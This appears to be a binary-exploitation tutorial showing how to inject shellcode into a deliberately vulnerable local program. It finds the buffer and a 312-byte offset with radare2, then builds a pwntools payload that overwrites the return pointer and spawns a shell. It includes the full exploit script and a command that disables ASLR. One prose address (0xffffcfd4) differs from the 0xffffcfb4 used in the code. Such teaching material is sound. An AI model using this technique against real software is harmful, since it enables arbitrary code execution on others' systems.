Shellcode
Running your own code
In real exploits, it's not particularly likely that you will have a win() function lying around - shellcode is a way to run your own instructions, giving you the ability to run arbitrary commands on the system.
Shellcode is essentially assembly instructions, except we input them into the binary; once we input it, we overwrite the return pointer to hijack code execution and point at our own instructions!
I promise you can trust me but you should never ever run shellcode without knowing what it does. Pwntools is safe and has almost all the shellcode you will ever need.
The reason shellcode is successful is that Von Neumann architecture (the architecture used in most computers today) does not differentiate between data and instructions - it doesn't matter where or what you tell it to run, it will attempt to run it. Therefore, even though our input is data, the computer doesn't know that - and we can use that to our advantage.
shellcode.zip
3KB
Binary
Shellcode

Disabling ASLR

ASLR is a security technique, and while it is not specifically designed to combat shellcode, it involves randomising certain aspects of memory (we will talk about it in much more detail later). This randomisation can make shellcode exploits like the one we're about to do more less reliable, so we'll be disabling it for now using this.
1
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Copied!
Again, you should never run commands if you don't know what they do

Finding the Buffer in Memory

Let's debug vuln() using radare2 and work out where in memory the buffer starts; this is where we want to point the return pointer to.
1
$ r2 -d -A vuln
2
3
[0xf7fd40b0]> s sym.unsafe ; pdf
4
[...]
5
; var int32_t var_134h @ ebp-0x134
6
[...]
Copied!
This value that gets printed out is a local variable - due to its size, it's fairly likely to be the buffer. Let's set a breakpoint just after gets() and find the exact address.
1
[0x08049172]> dc
2
Overflow me
3
<<Found me>> <== This was my input
4
hit breakpoint at: 80491a8
5
[0x080491a8]> px @ ebp - 0x134
6
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
7
0xffffcfb4 3c3c 466f 756e 6420 6d65 3e3e 00d1 fcf7 <<Found me>>....
8
9
[...]
Copied!
It appears to be at 0xffffcfd4; if we run the binary multiple times, it should remain where it is (if it doesn't, make sure ASLR is disabled!).

Finding the Padding

Now we need to calculate the padding until the return pointer. We'll use the De Bruijn sequence as explained in the previous blog post.
1
$ ragg2 -P 400 -r
2
<copy this>
3
4
$ r2 -d -A vuln
5
[0xf7fd40b0]> dc
6
Overflow me
7
<<paste here>>
8
[0x73424172]> wopO `dr eip`
9
312
Copied!
The padding is 312 bytes.

Putting it all together

In order for the shellcode to be correct, we're going to set context.binary to our binary; this grabs stuff like the arch, OS and bits and enables pwntools to provide us with working shellcode.
1
from pwn import *
2
3
context.binary = ELF('./vuln')
4
5
p = process()
Copied!
We can use just process() because once context.binary is set it is assumed to use that process
Now we can use pwntools' awesome shellcode functionality to make it incredibly simple.
1
payload = asm(shellcraft.sh()) # The shellcode
2
payload = payload.ljust(312, b'A') # Padding
3
payload += p32(0xffffcfb4) # Address of the Shellcode
Copied!
Yup, that's it. Now let's send it off and use p.interactive(), which enables us to communicate to the shell.
1
log.info(p.clean())
2
3
p.sendline(payload)
4
5
p.interactive()
Copied!
If you're getting an EOFError, print out the shellcode and try to find it in memory - the stack address may be wrong
1
$ python3 exploit.py
2
[*] 'vuln'
3
Arch: i386-32-little
4
RELRO: Partial RELRO
5
Stack: No canary found
6
NX: NX disabled
7
PIE: No PIE (0x8048000)
8
RWX: Has RWX segments
9
[+] Starting local process 'vuln': pid 3606
10
[*] Overflow me
11
[*] Switching to interactive mode
12
$ whoami
13
ironstone
14
$ ls
15
exploit.py source.c vuln
Copied!
And it works! Awesome.

Final Exploit

1
from pwn import *
2
3
context.binary = ELF('./vuln')
4
5
p = process()
6
7
payload = asm(shellcraft.sh()) # The shellcode
8
payload = payload.ljust(312, b'A') # Padding
9
payload += p32(0xffffcfb4) # Address of the Shellcode
10
11
log.info(p.clean())
12
13
p.sendline(payload)
14
15
p.interactive()
Copied!

Summary

  • We injected shellcode, a series of assembly instructions, when prompted for input
  • We then hijacked code execution by overwriting the saved return pointer on the stack and modified it to point to our shellcode
  • Once the return pointer got popped into EIP, it pointed at our shellcode
  • This caused the program to execute our instructions, giving us (in this case) a shell for arbitrary command execution